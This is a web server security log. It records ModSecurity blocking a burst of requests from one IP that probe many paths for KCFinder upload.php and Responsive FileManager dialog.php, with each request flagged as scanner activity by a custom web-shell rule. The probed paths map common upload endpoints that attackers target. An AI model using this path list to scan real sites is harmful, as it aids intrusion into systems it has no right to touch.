[Mon May 25 06:24:36.251766 2026] [:error] [pid 9398:tid 9405] [client 170.64.221.168:49670] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pSwAAAMU"]
[Mon May 25 06:24:36.259275 2026] [:error] [pid 9302:tid 9324] [client 170.64.221.168:49686] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/core/scripts/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRUwAAABE"]
[Mon May 25 06:24:36.271656 2026] [:error] [pid 9398:tid 9424] [client 170.64.221.168:49688] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pTAAAANQ"]
[Mon May 25 06:24:36.272987 2026] [:error] [pid 9398:tid 9403] [client 170.64.221.168:49692] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pTgAAAMM"]
[Mon May 25 06:24:36.273056 2026] [:error] [pid 9398:tid 9425] [client 170.64.221.168:49706] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pTQAAANU"]
[Mon May 25 06:24:36.276723 2026] [:error] [pid 21606:tid 21631] [client 170.64.221.168:49722] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/core/scripts/wysiwyg/kcfinder/upload.php"] [unique_id "ahN6pGswdp0RYkH5t9XAnAAAAVc"]
[Mon May 25 06:24:36.316212 2026] [:error] [pid 9302:tid 9312] [client 170.64.221.168:49764] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRVAAAAAU"]
[Mon May 25 06:24:36.320782 2026] [:error] [pid 9302:tid 9311] [client 170.64.221.168:49750] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRVQAAAAQ"]
[Mon May 25 06:24:36.322853 2026] [:error] [pid 9398:tid 9400] [client 170.64.221.168:49734] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/components/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pTwAAAMA"]
[Mon May 25 06:24:36.331920 2026] [:error] [pid 9302:tid 9319] [client 170.64.221.168:49774] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRVgAAAAw"]
[Mon May 25 06:24:36.333511 2026] [:error] [pid 21606:tid 21610] [client 170.64.221.168:49800] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/libs/kcfinder/upload.php"] [unique_id "ahN6pGswdp0RYkH5t9XAnQAAAUI"]
[Mon May 25 06:24:36.334407 2026] [:error] [pid 9398:tid 9406] [client 170.64.221.168:49796] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/core/scripts/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pUAAAAMY"]
[Mon May 25 06:24:36.335968 2026] [:error] [pid 9302:tid 9313] [client 170.64.221.168:49790] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/tinymce/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRWAAAAAY"]
[Mon May 25 06:24:36.349603 2026] [:error] [pid 50423:tid 50443] [client 170.64.221.168:49806] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvowAAARI"]
[Mon May 25 06:24:36.351860 2026] [:error] [pid 50423:tid 50449] [client 170.64.221.168:49812] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvpAAAARg"]
[Mon May 25 06:24:36.359011 2026] [:error] [pid 21606:tid 21614] [client 170.64.221.168:49826] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahN6pGswdp0RYkH5t9XAnwAAAUY"]
[Mon May 25 06:24:36.365657 2026] [:error] [pid 21606:tid 21625] [client 170.64.221.168:49840] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib/kcfinder/upload.php"] [unique_id "ahN6pGswdp0RYkH5t9XAoAAAAVE"]
[Mon May 25 06:24:36.376010 2026] [:error] [pid 21606:tid 21624] [client 170.64.221.168:49842] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/libs/kcfinder/upload.php"] [unique_id "ahN6pGswdp0RYkH5t9XAoQAAAVA"]
[Mon May 25 06:24:36.376990 2026] [:error] [pid 9304:tid 9371] [client 170.64.221.168:49850] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/core/scripts/kcfinder/upload.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_DgAAAIo"]
[Mon May 25 06:24:36.381646 2026] [:error] [pid 50423:tid 50444] [client 170.64.221.168:49854] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/tinymce/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvpQAAARM"]
[Mon May 25 06:24:36.399153 2026] [:error] [pid 9398:tid 9404] [client 170.64.221.168:49868] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pUQAAAMQ"]
[Mon May 25 06:24:36.408109 2026] [:error] [pid 50423:tid 50435] [client 170.64.221.168:49884] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvpgAAAQo"]
[Mon May 25 06:24:36.411978 2026] [:error] [pid 9398:tid 9412] [client 170.64.221.168:49896] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pUgAAAMg"]
[Mon May 25 06:24:36.418412 2026] [:error] [pid 21606:tid 21619] [client 170.64.221.168:49904] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/libs/kcfinder/upload.php"] [unique_id "ahN6pGswdp0RYkH5t9XAogAAAUs"]
[Mon May 25 06:24:36.423984 2026] [:error] [pid 9304:tid 9384] [client 170.64.221.168:49908] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/tinymce/kcfinder/upload.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_DwAAAJc"]
[Mon May 25 06:24:36.441497 2026] [:error] [pid 9398:tid 9426] [client 170.64.221.168:49910] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pVQAAANY"]
[Mon May 25 06:24:36.454312 2026] [:error] [pid 50423:tid 50438] [client 170.64.221.168:49926] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvpwAAAQ0"]
[Mon May 25 06:24:36.459894 2026] [:error] [pid 9302:tid 9320] [client 170.64.221.168:49938] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRWgAAAA0"]
[Mon May 25 06:24:36.477335 2026] [:error] [pid 50423:tid 50433] [client 170.64.221.168:49946] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jquery/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvqAAAAQg"]
[Mon May 25 06:24:36.477624 2026] [:error] [pid 50423:tid 50446] [client 170.64.221.168:49950] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/webroot/js/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvqQAAARU"]
[Mon May 25 06:24:36.482814 2026] [:error] [pid 50423:tid 50426] [client 170.64.221.168:49956] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvqgAAAQE"]
[Mon May 25 06:24:36.483723 2026] [:error] [pid 9398:tid 9402] [client 170.64.221.168:49964] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pVgAAAMI"]
[Mon May 25 06:24:36.494018 2026] [:error] [pid 9304:tid 9372] [client 170.64.221.168:49976] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_EQAAAIs"]
[Mon May 25 06:24:36.497876 2026] [:error] [pid 9398:tid 9420] [client 170.64.221.168:49980] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pVwAAANA"]
[Mon May 25 06:24:36.502333 2026] [:error] [pid 9304:tid 9363] [client 170.64.221.168:49986] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_EgAAAII"]
[Mon May 25 06:24:36.506888 2026] [:error] [pid 9304:tid 9374] [client 170.64.221.168:49988] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_EwAAAI0"]
[Mon May 25 06:24:36.517634 2026] [:error] [pid 9304:tid 9365] [client 170.64.221.168:49998] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/webroot/js/kcfinder/upload.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_FAAAAIQ"]
[Mon May 25 06:24:36.518694 2026] [:error] [pid 9304:tid 9362] [client 170.64.221.168:49992] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jquery/kcfinder/upload.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_FQAAAIE"]
[Mon May 25 06:24:36.522988 2026] [:error] [pid 9302:tid 9326] [client 170.64.221.168:50006] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRWwAAABM"]
[Mon May 25 06:24:36.525667 2026] [:error] [pid 9302:tid 9309] [client 170.64.221.168:50014] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRXAAAAAI"]
[Mon May 25 06:24:36.537535 2026] [:error] [pid 9303:tid 9334] [client 170.64.221.168:50026] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahN6pH3bQScbssitjPQ3rgAAAEA"]
[Mon May 25 06:24:36.543624 2026] [:error] [pid 9303:tid 9357] [client 170.64.221.168:50030] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahN6pH3bQScbssitjPQ3rwAAAFc"]
[Mon May 25 06:24:36.548662 2026] [:error] [pid 9398:tid 9416] [client 170.64.221.168:50042] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pWQAAAMw"]
[Mon May 25 06:24:36.561533 2026] [:error] [pid 9398:tid 9417] [client 170.64.221.168:50070] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jquery/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pWgAAAM0"]
[Mon May 25 06:24:36.562074 2026] [:error] [pid 9398:tid 9415] [client 170.64.221.168:50058] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/webroot/js/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pWwAAAMs"]
[Mon May 25 06:24:36.564968 2026] [:error] [pid 50423:tid 50440] [client 170.64.221.168:50086] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvqwAAAQ8"]
[Mon May 25 06:24:36.580580 2026] [:error] [pid 50423:tid 50434] [client 170.64.221.168:50100] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvrAAAAQk"]
[Mon May 25 06:24:36.591610 2026] [:error] [pid 9302:tid 9331] [client 170.64.221.168:50102] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRXgAAABg"]
[Mon May 25 06:24:36.690381 2026] [:error] [pid 9304:tid 9385] [client 170.64.221.168:50162] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_FwAAAJg"]
[Mon May 25 06:24:36.716015 2026] [:error] [pid 9304:tid 9379] [client 170.64.221.168:50164] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_GAAAAJI"]
[Mon May 25 06:24:36.723532 2026] [:error] [pid 9304:tid 9369] [client 170.64.221.168:50166] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_GQAAAIg"]
[Mon May 25 06:24:36.732917 2026] [:error] [pid 21606:tid 21626] [client 170.64.221.168:50192] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahN6pGswdp0RYkH5t9XAowAAAVI"]
[Mon May 25 06:24:36.733562 2026] [:error] [pid 9304:tid 9382] [client 170.64.221.168:50182] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_GgAAAJU"]
[Mon May 25 06:24:36.734530 2026] [:error] [pid 9302:tid 9328] [client 170.64.221.168:50198] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRXwAAABU"]
